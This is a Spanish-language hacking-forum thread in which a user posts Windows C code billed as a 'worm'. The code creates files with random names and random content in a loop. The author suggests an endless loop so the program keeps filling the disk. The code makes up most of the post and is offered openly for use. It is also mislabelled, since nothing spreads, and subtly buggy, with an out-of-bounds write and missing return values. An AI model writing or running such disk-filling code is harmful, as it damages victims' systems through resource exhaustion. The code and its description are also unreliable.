This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

[C] Empezar con CreateFile y terminar creando un worm

  • 1 Replies
  • 4144 Views

0 Members and 1 Guest are viewing this topic.

Offline Jhonjhon_123

  • *
  • Underc0der
  • Posts: 150
  • Actividad:
    0%
  • Reputación 0
    • View Profile
    • Jhonjhon_123's Software In Developed

[C] Empezar con CreateFile y terminar creando un worm

  • on: February 23, 2010, 07:45:44 pm
Bueno estuve pensando en crear un bonito worm que me permitiese crear archivos, y he decidido hacerlo en C.
Es una técnica muy sencilla pero que puede resultar muy util.

Empezaremos con crear un archivo con un nombre aleatorio.Para luego crear un bucle.

Code: (c) You are not allowed to view links. Register or Login

#include <windows.h>
#include <stdio.h>

//librerias

char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";

//todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar

int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
{
for( int z = 0; z < l; z++ )
{
buffer[ z ] = secuencialetras[ (rand()*rand()) % strlen( secuencialetras ) ];
buffer[ l ] = 0;
}
};

int crear( char* archivo, char* contenido ) // funcion que crea el archivo
{
unsigned long bytesescritos;
HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
WriteFile( hFile, contenido, strlen( contenido ), &bytesescritos, 0 );
CloseHandle( hFile );
};

int main( )
{

char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
Random( archivo, sizeof( archivo ) - 1 );

Random( contenido, sizeof( contenido ) );

crear( archivo, contenido );

return 0;
};


Como se ve no es nada del otro mundo.
La funcion CreateFile nos permite abrir o crear un nuevo archivo según modifiquemos el parámetro dwCreationDisposition [in] .
You are not allowed to view links. Register or Login

Y lo mismo con WriteFile, nos permite cuantos bytes escribir en los archivos y ponerle el nombre.
You are not allowed to view links. Register or Login

Bueno ahora nos saldrá un archivo con nombre aleatorio, y de tamaño 63,9 KB, porque tan poco para un worm, porque esto nos permite crear archivos rapidamente y a la larga sera más eficiente.

Para crear el worm solo necesitamos un bucle en int main.

Un ejemplo para crear solo 3 archivos.

Code: (c) You are not allowed to view links. Register or Login

#include <windows.h>
#include <stdio.h>

//librerias

char secuencialetras[ ] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";

//todo el alfabeto, ten en cuenta que al borrar o cambiar una letra, se cambiaria todo el nombre del archivo que se va  a generar

int Random( char* buffer, int l ) // creamos una funcion con la cual pondremos el nombre aleatorio a todos los archivos
{
for( int z = 0; z < l; z++ )
{
buffer[ z ] = secuencialetras[ (rand()*rand()) % strlen( secuencialetras ) ];
buffer[ l ] = 0;
}
};

int crear( char* archivo, char* contenido ) // funcion que crea el archivo
{
unsigned long bytesescritos;
HANDLE hFile = CreateFile( archivo, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );  //esto ahora luego lo explico mejor
WriteFile( hFile, contenido, strlen( contenido ), &bytesescritos, 0 );
CloseHandle( hFile );
};

int main( )
{
for(int b = 0; b < 3; b++ )
{
char archivo[32], contenido[ 0xFFFF ]; //cuantos caracteres va a tener nuestro archivo
Random( archivo, sizeof( archivo ) - 1 );

Random( contenido, sizeof( contenido ) );

crear( archivo, contenido );
}
return 0;
};


Podemos usar while(true) o for(int b=0 ; b < 10 ; b--)

Eso ya es imaginación suya.

Autor. Pablo
« Last Edit: February 08, 2014, 06:20:52 pm by Expermicid »
You are not allowed to view links. Register or Login

Offline P4|3L0

  • *
  • Underc0der
  • Posts: 9
  • Actividad:
    0%
  • Reputación 0
    • View Profile
Gracias por guardarme los códigos.  :o :o :o